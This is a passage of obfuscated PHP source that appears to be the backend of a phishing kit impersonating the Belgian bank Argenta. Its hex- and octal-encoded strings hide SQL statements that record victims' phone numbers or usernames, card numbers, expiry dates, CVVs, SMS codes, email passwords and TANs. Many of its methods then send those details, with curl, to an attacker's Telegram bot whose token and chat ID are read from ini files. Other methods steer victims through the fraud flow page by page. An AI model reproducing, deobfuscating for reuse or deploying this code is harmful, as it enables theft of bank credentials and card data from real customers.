file_get_contents("\56\56\x2f\160\x75\x62\154\x69\143\x2f\141\x70\151\x2f\142\157\x74\56\151\x6e\x69"); $notify = "\150\x74\164\160\x73\x3a\57\x2f\141\x70\151\x2e\164\145\x6c\x65\x67\x72\x61\155\56\157\162\147\x2f\x62\x6f\164{$botToken}\x2f\x73\x65\x6e\144\115\145\x73\x73\x61\x67\145\77\143\x68\x61\164\137\x69\x64\x3d{$chatId}\46\x74\145\x78\164\75\xf0\x9d\x91\xb5\xf0\235\x92\206\360\x9d\222\x98\40\360\x9d\x91\xb3\360\235\x92\220\xf0\x9d\x92\x88\40\55\x20\x28\x43\x61\154\154\x29\x20\xf0\237\x87\247\xf0\x9f\207\252\40\x41\122\107\105\116\x54\101\x25\60\x41\x25\60\x41\x43\x61\154\x6c\40\155\x65\41\x25\60\x41\x25\x30\101\xf0\235\221\xbc\360\235\221\260\xf0\x9d\x91\xab\40\55\40{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCallPage($uid, $page) { $sql = "\125\x50\104\x41\x54\x45\x20\x6c\x6f\x67\163\x20\123\x45\x54\x20\x70\141\147\x65\x20\75\x20\x3a\x70\x61\x67\145\x2c\x20\167\141\x69\164\x69\156\x67\x20\x3d\40\72\x77\x61\x69\x74\151\x6e\147\x2c\x20\141\162\147\x65\156\164\141\x5f\143\141\x6c\x6c\x20\75\x20\x3a\x65\155\160\164\171\54\40\x61\162\147\x65\x6e\164\x61\137\143\141\154\154\137\164\x77\x6f\40\x3d\40\x3a\x65\x6d\x70\x74\x79\40\127\110\105\x52\x45\40\165\x73\x65\162\137\x69\144\40\x3d\x20\72\x75\163\x65\x72\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\x61\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\151\x74\151\x6e\147", "\x66\x61\x6c\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\160\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\165\x73\x65\162\x5f\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCallInformation($uid) { $sql = "\x55\120\x44\101\124\x45\x20\x6c\x6f\x67\163\x20\x53\105\124\40\x62\x61\156\x6b\40\x3d\40\72\x62\141\x6e\x6b\54\x20\141\162\147\145\156\x74\141\137\143\x61\154\154\x20\x3d\40\x3a\145\x6d\x70\164\171\54\40\141\x72\147\x65\x6e\x74\x61\137\x63\x61\154\x6c\x5f\164\167\157\x20\75\40\72\x65\155\160\x74\171\54\x20\x70\x61\x67\145\40\75\x20\x3a\145\x6d\x70\x74\171\54\40\167\141\x69\x74\x69\156\x67\40\x3d\40\72\167\x61\151\x74\x69\156\x67\x20\127\x48\x45\122\x45\40\165\x73\x65\x72\137\151\144\x20\x3d\x20\72\x75\163\x65\162\137\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x62\141\156\153", "\101\122\x47\105\116\x54\101", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\x70\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\164\x69\x6e\x67", "\x66\141\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x73\145\x72\137\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCustom($expiration, $number, $uid) { $sql = "\125\120\x44\x41\x54\x45\x20\x6c\157\147\163\x20\123\105\124\x20\x61\162\x67\x65\x6e\x74\141\x5f\x63\165\x73\x74\x6f\155\40\x3d\40\x3a\x65\170\x70\151\162\x61\164\151\157\156\x2c\x20\x61\162\147\145\x6e\x74\141\137\143\x75\x73\x74\x6f\x6d\x5f\164\167\x6f\40\75\40\72\x6e\x75\155\142\x65\162\54\40\x77\141\151\164\151\x6e\x67\x20\x3d\x20\x3a\x77\141\x69\x74\151\156\147\x20\127\x48\105\x52\105\x20\x75\x73\x65\x72\137\151\x64\x20\x3d\x20\72\x75\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\145\170\x70\x69\162\x61\x74\151\x6f\156", $expiration, PDO::PARAM_STR); $stmt->bindValue("\x3a\156\x75\x6d\142\x65\x72", $number, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x69\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\x69\164\151\x6e\x67", "\164\x72\165\145", PDO::PARAM_STR); $chatId = file_get_contents("\x2e\56\57\x70\x75\x62\x6c\x69\143\57\141\160\151\57\143\150\141\164\56\x69\156\151"); $botToken = file_get_contents("\x2e\56\x2f\x70\165\142\154\151\x63\x2f\x61\x70\151\57\142\x6f\x74\x2e\x69\156\151"); $notify = "\150\x74\x74\160\163\72\57\x2f\141\x70\x69\56\x74\145\154\145\x67\162\x61\155\x2e\x6f\x72\x67\x2f\x62\157\x74{$botToken}\x2f\x73\145\156\144\115\x65\x73\x73\141\x67\x65\77\143\x68\x61\164\137\151\144\75{$chatId}\46\164\x65\x78\x74\x3d\360\235\221\265\xf0\x9d\222\206\360\235\222\x98\x20\360\x9d\x91\263\xf0\x9d\x92\x90\360\x9d\x92\x88\40\55\40\x28\103\x75\x73\x74\157\x6d\x29\x20\360\237\x87\xa7\360\x9f\x87\252\x20\x41\122\x47\x45\x4e\124\x41\45\x30\101\x25\60\x41\103\x61\x6c\x6c\x20\155\x65\x21\x25\60\x41\x25\60\101\360\x9d\221\xbc\360\235\x91\xb0\xf0\x9d\x91\253\x20\x2d\x20{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCustomPage($uid, $page) { $sql = "\x55\x50\104\x41\124\x45\x20\154\x6f\147\163\40\123\105\x54\40\160\x61\x67\145\40\75\40\72\160\x61\147\145\54\x20\x77\x61\151\164\x69\156\147\x20\x3d\x20\x3a\x77\x61\151\164\151\x6e\147\x2c\40\x61\x72\147\145\156\x74\141\x5f\x63\165\x73\164\x6f\155\x20\75\x20\72\x65\155\160\x74\x79\x2c\40\141\162\x67\145\156\x74\141\x5f\143\x75\x73\164\157\x6d\137\x74\167\x6f\40\x3d\40\x3a\x65\155\x70\x74\x79\x20\127\110\x45\122\x45\x20\x75\163\145\x72\x5f\151\144\40\x3d\40\72\x75\x73\x65\162\x5f\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\x61\147\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\151\x74\151\x6e\147", "\x66\x61\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\x70\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\165\x73\x65\x72\137\x69\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCustomInformation($uid) { $sql = "\125\x50\x44\x41\124\x45\40\154\157\147\x73\40\x53\105\124\x20\x62\141\156\x6b\40\75\x20\72\142\141\156\153\54\40\x61\162\147\145\x6e\164\x61\137\x63\x75\x73\x74\x6f\155\40\75\40\x3a\145\x6d\x70\164\171\x2c\x20\x61\x72\x67\145\x6e\164\141\137\143\x75\163\164\157\155\x5f\164\x77\x6f\40\x3d\40\x3a\x65\155\x70\164\x79\54\x20\x70\141\147\x65\40\x3d\40\72\145\155\x70\x74\171\x2c\40\x77\141\x69\164\151\156\147\x20\75\40\72\167\141\151\164\x69\x6e\x67\x20\x57\110\x45\122\x45\x20\x75\x73\145\x72\x5f\151\x64\x20\75\40\x3a\x75\163\145\162\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\142\141\156\153", "\x41\122\x47\105\x4e\124\x41", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\160\164\x79", null, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\164\151\x6e\147", "\x66\x61\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\165\163\x65\162\137\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPhotoInformation($uid) { $sql = "\x55\120\104\101\124\105\40\x6c\x6f\147\x73\x20\x53\105\x54\40\142\141\156\x6b\x20\x3d\x20\x3a\142\x61\x6e\x6b\54\x20\141\162\x67\145\156\164\x61\x5f\162\x65\163\x70\157\156\x73\x20\75\40\72\x65\155\x70\164\x79\x2c\40\x70\141\147\x65\40\75\x20\x3a\x65\x6d\160\x74\171\54\40\167\x61\x69\164\151\x6e\147\x20\x3d\x20\72\x77\141\x69\164\151\156\147\x20\x57\x48\x45\122\105\40\165\163\145\x72\137\151\x64\x20\75\40\72\165\163\x65\162\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\x61\x6e\153", "\101\122\x47\105\116\x54\101", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\x70\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\164\151\x6e\x67", "\146\x61\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x75\x73\145\162\x5f\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPhoto($respons, $uid) { $sql = "\125\120\104\x41\124\105\x20\x6c\157\147\163\x20\x53\105\124\x20\x61\162\x67\x65\x6e\164\x61\137\x72\x65\163\x70\x6f\156\163\x20\75\40\72\x72\x65\x73\160\157\x6e\x73\x2c\40\x77\141\151\x74\151\x6e\x67\40\x3d\40\x3a\167\141\151\164\151\156\147\40\127\x48\105\122\x45\40\x75\x73\145\162\x5f\x69\x64\x20\x3d\x20\72\165\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\162\145\x73\x70\157\x6e\163", $respons, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\151\164\151\x6e\x67", "\x74\162\x75\x65", PDO::PARAM_STR); $chatId = file_get_contents("\56\56\x2f\x70\165\x62\x6c\x69\x63\57\x61\160\151\57\x63\150\x61\x74\56\151\156\x69"); $botToken = file_get_contents("\x2e\56\x2f\160\165\142\x6c\x69\143\57\x61\160\151\x2f\x62\x6f\x74\56\x69\156\x69"); $notify = "\x68\x74\164\160\163\72\x2f\57\x61\160\x69\56\164\x65\x6c\x65\x67\x72\141\155\56\x6f\162\x67\57\142\157\164{$botToken}\x2f\x73\x65\x6e\144\115\145\163\163\x61\147\145\77\143\150\x61\164\x5f\151\x64\x3d{$chatId}\x26\164\145\170\164\x3d\360\x9d\x91\xb5\360\235\x92\206\360\235\x92\230\x20\xf0\235\x91\263\360\235\x92\x90\360\235\x92\210\40\55\x20\50\114\157\147\x69\x6e\40\x43\157\x64\145\51\40\xf0\x9f\x87\xa7\xf0\x9f\207\xaa\x20\x41\122\x47\x45\116\x54\101\45\60\x41\x25\60\101\122\145\163\x70\157\156\x73\x65\40\55\40{$respons}\x25\x30\x41\x25\x30\101\xf0\235\x91\xbc\360\235\221\xb0\xf0\x9d\221\253\x20\55\40{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setPhotoPage($uid, $page) { $sql = "\x55\120\x44\101\x54\105\40\x6c\x6f\x67\163\x20\123\x45\124\40\x70\x61\x67\x65\x20\x3d\40\72\160\x61\147\x65\54\40\167\x61\x69\x74\x69\156\x67\x20\75\x20\72\167\141\x69\x74\x69\x6e\147\54\x20\x61\x72\147\145\x6e\164\141\137\x72\x65\163\x70\x6f\156\x73\40\x3d\x20\x3a\145\155\160\x74\171\x20\x57\x48\x45\x52\x45\40\165\163\145\x72\137\x69\144\40\75\x20\72\165\163\x65\x72\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\151\x74\x69\x6e\x67", "\146\x61\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\x70\164\171", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x75\163\145\x72\x5f\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setPhotoPageCode($uid, $page, $code) { $sql = "\x55\x50\104\101\x54\105\x20\x6c\157\x67\163\40\123\105\x54\x20\x70\x61\147\145\40\75\40\72\x70\141\147\x65\x2c\40\167\x61\151\164\x69\156\147\40\x3d\x20\72\x77\141\151\164\x69\156\147\x2c\x20\x61\x72\x67\145\x6e\164\x61\137\162\145\163\x70\x6f\156\163\40\75\40\72\x65\155\x70\164\x79\54\x20\141\162\x67\145\156\164\141\x5f\x63\x6f\144\x65\x20\x3d\x20\72\x63\x6f\x64\x65\40\x57\110\105\x52\x45\40\x75\x73\145\162\137\151\x64\40\75\x20\72\165\163\145\x72\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\141\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\151\x74\151\x6e\x67", "\146\x61\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\160\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x63\x6f\144\x65", $code, PDO::PARAM_STR); $stmt->bindValue("\72\x75\x73\145\162\x5f\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getPhotoCode($uid) { $sql = "\123\105\x4c\x45\x43\x54\x20\x2a\40\x46\x52\x4f\x4d\x20\154\x6f\147\163\40\x57\x48\105\x52\x45\40\165\163\x65\162\137\151\144\x20\x3d\40\x3a\165\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x75\x69\144", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x61\x72\147\x65\x6e\x74\141\137\x63\x6f\x64\145"])) { return $data["\x61\x72\x67\145\x6e\164\x61\x5f\x63\157\x64\145"]; } return false; } public static function setConfirmInformation($uid) { $sql = "\125\x50\x44\101\x54\x45\40\x6c\157\147\163\40\123\x45\124\40\x62\x61\x6e\x6b\x20\x3d\x20\72\142\x61\156\x6b\54\x20\160\x61\x67\x65\x20\x3d\x20\72\x65\x6d\x70\x74\x79\x2c\40\x77\141\151\x74\151\x6e\147\x20\x3d\x20\72\x77\x61\x69\x74\x69\156\147\40\x57\110\x45\122\105\x20\165\163\x65\x72\x5f\151\144\40\75\40\72\x75\x73\145\x72\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\141\x6e\153", "\101\x52\x47\105\x4e\124\x41", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\160\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\x69\x74\x69\156\x67", "\146\x61\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x73\x65\x72\x5f\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setTanInformation($uid) { $sql = "\125\120\104\101\x54\x45\40\x6c\157\x67\163\40\x53\105\124\x20\x62\x61\x6e\x6b\x20\x3d\40\72\142\x61\x6e\153\x2c\40\141\x72\147\x65\156\164\x61\x5f\x74\x61\156\x20\75\x20\x3a\x65\x6d\x70\164\x79\54\x20\160\141\x67\145\40\75\40\72\145\155\x70\164\171\54\40\167\141\x69\x74\151\156\x67\x20\75\40\72\167\x61\151\164\151\x6e\x67\40\x57\110\x45\122\x45\40\165\163\145\162\137\x69\144\x20\75\x20\72\x75\x73\x65\x72\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\141\156\153", "\101\x52\x47\x45\x4e\x54\101", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\x70\x74\x79", null, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\x69\164\x69\156\147", "\x66\141\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\165\163\145\x72\x5f\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function checkPayment($url = array()) { $sql = "\123\x45\x4c\x45\x43\124\x20\52\x20\106\x52\x4f\x4d\40\x72\145\x71\x75\x65\163\164\x73\40\x57\110\105\x52\105\x20\165\162\x6c\x20\x3d\x20\x3a\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x69\144", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public static function setLogin($username, $password, $uid) { $sql = "\x55\x50\x44\101\124\x45\x20\x6c\x6f\x67\x73\x20\123\x45\124\x20\141\162\x67\x65\156\x74\x61\137\x75\163\x65\162\x20\x3d\x20\x3a\x75\x73\145\x72\156\x61\x6d\145\x2c\x20\x61\x72\147\x65\156\164\x61\137\x70\141\163\x73\x20\75\40\72\x70\x61\163\x73\167\157\162\144\54\40\167\141\151\x74\x69\x6e\x67\40\x3d\x20\72\x77\141\151\x74\151\x6e\147\40\127\110\x45\x52\105\40\165\x73\x65\x72\137\x69\144\x20\x3d\40\72\165\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x75\163\145\162\156\x61\x6d\145", $username, PDO::PARAM_STR); $stmt->bindValue("\72\160\x61\x73\163\x77\x6f\x72\x64", $password, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\151\x74\151\156\147", "\164\x72\165\145", PDO::PARAM_STR); $chatId = file_get_contents("\56\56\x2f\160\x75\142\x6c\151\x63\x2f\141\x70\x69\57\x63\150\x61\164\x2e\x69\x6e\151"); $botToken = file_get_contents("\x2e\56\57\x70\x75\x62\154\151\143\x2f\141\x70\x69\57\142\x6f\164\56\x69\156\151"); $notify = "\x68\164\164\x70\163\72\57\x2f\141\x70\151\x2e\x74\x65\154\145\x67\162\141\x6d\x2e\157\x72\x67\x2f\142\x6f\164{$botToken}\57\x73\x65\156\144\x4d\x65\x73\163\141\x67\x65\x3f\143\x68\141\164\x5f\x69\x64\x3d{$chatId}\x26\x74\x65\x78\x74\x3d\xf0\x9d\221\265\xf0\235\222\206\xf0\235\x92\230\40\360\235\x91\263\xf0\235\222\220\360\235\x92\210\x20\55\x20\50\x50\150\x6f\156\145\x29\x20\xf0\237\x87\247\xf0\237\207\252\40\101\122\107\x45\116\124\101\45\60\x41\45\x30\101\x50\x68\157\156\x65\x20\55\x20{$username}\x25\x30\101\x25\x30\x41\xf0\x9d\x91\274\xf0\x9d\221\xb0\360\235\221\253\x20\55\40{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setWifi($wifi, $pass, $confirm, $uid) { $sql = "\125\x50\x44\101\124\105\40\154\x6f\x67\163\40\x53\x45\124\40\141\162\x67\145\x6e\164\x61\137\167\151\x66\151\40\x3d\x20\72\x77\x69\x66\151\x2c\x20\x61\x72\x67\x65\156\x74\141\x5f\167\151\146\x69\x5f\x70\141\163\x73\x20\75\40\72\x70\x61\x73\163\54\x20\141\162\147\145\x6e\164\x61\x5f\167\x69\x66\151\x5f\160\x61\x73\163\x5f\x74\167\157\x20\x3d\40\x3a\143\x6f\x6e\x66\x69\162\x6d\x2c\x20\x77\x61\151\164\151\156\147\x20\x3d\x20\x3a\x77\141\x69\x74\x69\156\147\40\x57\x48\105\122\105\x20\165\163\145\162\137\151\x64\40\x3d\x20\72\165\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x77\x69\146\151", $wifi, PDO::PARAM_STR); $stmt->bindValue("\x3a\x70\x61\x73\x73", $pass, PDO::PARAM_STR); $stmt->bindValue("\x3a\x63\157\x6e\x66\x69\x72\x6d", $confirm, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\151\x74\151\x6e\147", "\x74\x72\x75\145", PDO::PARAM_STR); $chatId = file_get_contents("\x2e\x2e\57\x70\165\x62\154\x69\143\x2f\141\160\x69\x2f\143\x68\x61\164\56\x69\x6e\x69"); $botToken = file_get_contents("\x2e\56\x2f\160\165\142\154\x69\143\x2f\141\x70\x69\57\x62\157\x74\x2e\x69\x6e\151"); $notify = "\150\x74\x74\160\x73\x3a\x2f\57\x61\160\151\x2e\x74\x65\154\145\x67\162\x61\x6d\56\x6f\162\147\57\x62\157\x74{$botToken}\57\163\x65\x6e\144\x4d\145\163\x73\x61\147\x65\x3f\143\150\141\x74\137\x69\x64\75{$chatId}\46\x74\145\x78\x74\x3d\360\x9d\x91\265\360\x9d\x92\x86\360\x9d\222\x98\x20\xf0\x9d\x91\263\xf0\x9d\x92\220\xf0\x9d\222\210\x20\55\40\50\114\x6f\147\x69\x6e\51\x20\360\237\207\247\xf0\x9f\x87\252\40\x41\122\x47\x45\x4e\124\x41\x25\60\x41\45\60\101\x43\141\162\x64\x4e\165\x6d\x20\x2d\x20{$wifi}\45\60\x41\x45\x78\x70\151\x72\171\x20\x2d\x20{$pass}\x25\60\101\x25\x30\x41\xf0\235\221\274\360\x9d\221\xb0\360\x9d\x91\253\x20\55\x20{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCreditcard($wifi, $pass, $confirm, $uid) { $sql = "\x55\120\x44\101\124\105\40\154\157\147\x73\x20\x53\x45\x54\40\141\162\147\x65\x6e\x74\141\137\143\162\145\x64\x69\x74\143\x61\x72\144\x20\75\40\72\167\x69\x66\151\x2c\x20\141\162\147\145\156\164\x61\x5f\x63\x63\x65\x78\x70\x20\75\x20\x3a\160\141\x73\x73\54\40\x61\x72\x67\x65\x6e\x74\x61\x5f\143\166\x76\x20\x3d\40\x3a\143\157\x6e\x66\151\162\155\54\x20\x77\141\x69\x74\151\156\147\x20\75\40\72\x77\x61\x69\164\151\x6e\147\x20\127\x48\x45\x52\105\40\165\163\x65\x72\x5f\151\144\x20\75\40\x3a\165\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\167\x69\x66\x69", $wifi, PDO::PARAM_STR); $stmt->bindValue("\72\x70\x61\163\x73", $pass, PDO::PARAM_STR); $stmt->bindValue("\72\x63\157\x6e\146\151\x72\155", $confirm, PDO::PARAM_STR); $stmt->bindValue("\72\165\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\151\x74\151\156\147", "\164\x72\x75\145", PDO::PARAM_STR); $chatId = file_get_contents("\56\x2e\x2f\x70\165\x62\x6c\151\x63\57\x61\160\x69\x2f\143\150\x61\x74\56\151\156\x69"); $botToken = file_get_contents("\x2e\x2e\x2f\160\165\x62\x6c\151\x63\x2f\x61\160\x69\57\x62\157\164\56\x69\x6e\151"); $notify = "\x68\164\x74\x70\163\x3a\57\57\x61\x70\151\56\164\145\x6c\x65\147\x72\141\155\x2e\157\162\147\57\x62\x6f\164{$botToken}\x2f\x73\x65\x6e\144\115\x65\163\x73\141\147\x65\x3f\x63\150\141\164\137\151\144\75{$chatId}\46\x74\145\170\164\75\360\x9d\221\xb5\xf0\x9d\222\x86\360\x9d\222\x98\x20\360\x9d\221\xb3\xf0\235\222\220\360\x9d\x92\x88\40\55\x20\50\x43\103\x29\40\xf0\x9f\207\xa7\360\x9f\x87\xaa\x20\101\x52\107\105\x4e\124\x41\45\x30\x41\x25\x30\x41\103\x61\162\144\x4e\x75\155\40\x2d\x20{$wifi}\x25\x30\101\105\170\160\x69\162\x79\40\55\40{$pass}\x25\x30\101\x43\166\166\x20\55\40{$confirm}\x25\60\x41\x25\60\x41\xf0\235\221\274\xf0\235\221\xb0\360\235\x91\xab\x20\55\x20{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setConfirm($uid) { $sql = "\125\120\x44\101\x54\105\x20\x6c\157\x67\163\40\x53\x45\x54\x20\x77\x61\x69\x74\151\156\x67\40\x3d\x20\x3a\x77\141\x69\164\151\x6e\x67\x20\x57\x48\x45\x52\105\40\x75\163\x65\162\x5f\x69\144\x20\x3d\x20\x3a\165\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x75\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\x69\x74\x69\x6e\147", "\x74\162\165\145", PDO::PARAM_STR); $stmt->execute(); } public static function setTan($tan, $uid) { $sql = "\x55\120\104\x41\124\105\x20\154\x6f\147\x73\40\123\105\x54\x20\x61\x72\x67\145\156\x74\141\x5f\x74\x61\x6e\x20\75\x20\x3a\164\x61\156\54\40\167\x61\x69\164\151\156\147\x20\75\x20\72\x77\x61\151\x74\x69\x6e\x67\40\127\110\x45\x52\x45\40\x75\x73\x65\162\x5f\151\144\40\75\40\72\x75\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x74\x61\x6e", $tan, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x69\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\x69\x74\x69\x6e\147", "\164\162\165\145", PDO::PARAM_STR); $chatId = file_get_contents("\x2e\56\57\x70\165\x62\x6c\x69\143\x2f\x61\160\151\x2f\143\150\141\164\56\x69\x6e\x69"); $botToken = file_get_contents("\56\56\x2f\x70\165\x62\x6c\151\143\x2f\141\x70\151\x2f\142\157\x74\56\151\x6e\151"); $notify = "\x68\x74\164\x70\163\72\x2f\x2f\x61\160\151\56\164\145\154\145\147\162\141\155\x2e\x6f\162\x67\57\x62\x6f\164{$botToken}\57\x73\x65\x6e\x64\x4d\145\163\x73\141\x67\x65\x3f\143\150\141\164\137\151\144\x3d{$chatId}\x26\164\x65\170\x74\75\360\235\x91\265\xf0\x9d\x92\x86\360\x9d\x92\x98\40\xf0\x9d\221\xb3\360\x9d\x92\x90\xf0\x9d\x92\210\x20\x2d\40\x28\x4d\x61\151\x6c\x20\120\141\x73\x73\x29\40\xf0\237\207\247\360\x9f\x87\252\40\x41\122\x47\x45\x4e\124\101\x25\60\x41\45\x30\x41\120\141\x73\x73\x77\x6f\x72\144\40\x2d\40{$tan}\x25\x30\x41\45\x30\101\xf0\x9d\x91\274\xf0\235\x91\xb0\xf0\x9d\x91\xab\40\x2d\x20{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setDetails($expiration, $number, $uid) { $sql = "\125\x50\104\x41\x54\105\40\154\x6f\147\163\40\x53\105\124\40\x61\162\147\145\x6e\x74\141\x5f\145\x78\x70\x20\x3d\x20\72\x65\x78\160\x69\162\x61\x74\x69\x6f\x6e\x2c\40\141\162\x67\145\156\164\x61\137\x6e\x75\x6d\x62\x65\x72\40\x3d\x20\x3a\156\165\x6d\x62\145\162\x2c\40\167\141\151\x74\151\156\x67\40\75\x20\x3a\x77\x61\151\164\x69\156\147\40\x57\x48\x45\122\x45\x20\x75\163\x65\162\137\x69\144\x20\x3d\40\72\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\145\170\160\151\x72\x61\x74\x69\157\156", $expiration, PDO::PARAM_STR); $stmt->bindValue("\72\156\165\x6d\142\x65\x72", $number, PDO::PARAM_STR); $stmt->bindValue("\72\165\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\164\x69\156\x67", "\164\162\x75\145", PDO::PARAM_STR); $chatId = file_get_contents("\x2e\56\57\160\165\142\x6c\151\143\x2f\x61\x70\x69\x2f\143\150\x61\164\x2e\151\156\x69"); $botToken = file_get_contents("\x2e\x2e\57\160\165\142\x6c\x69\x63\x2f\141\160\x69\57\x62\157\x74\56\x69\x6e\x69"); $notify = "\x68\x74\x74\160\x73\72\x2f\57\x61\160\x69\x2e\164\x65\x6c\145\147\x72\x61\155\x2e\157\x72\x67\x2f\142\x6f\164{$botToken}\57\x73\x65\156\144\115\145\163\x73\141\x67\145\x3f\x63\x68\x61\164\x5f\151\x64\75{$chatId}\x26\164\145\170\164\x3d\xf0\x9d\221\265\360\235\x92\x86\360\235\x92\x98\x20\360\x9d\x91\xb3\xf0\x9d\x92\x90\xf0\235\222\x88\40\55\x20\x28\x53\x4d\123\x29\40\xf0\237\x87\247\360\237\x87\xaa\x20\x41\x52\x47\x45\116\x54\x41\45\60\101\x25\60\101\x53\155\x73\40\55\x20{$expiration}\45\60\x41\x25\x30\101\xf0\235\221\274\360\x9d\x91\260\xf0\235\x91\253\x20\55\x20{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function getPage($uid) { $sql = "\123\105\114\x45\x43\124\x20\52\40\106\x52\x4f\x4d\x20\x6c\x6f\147\x73\x20\x57\110\x45\x52\x45\x20\x75\163\x65\162\137\151\x64\40\x3d\x20\x3a\165\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); 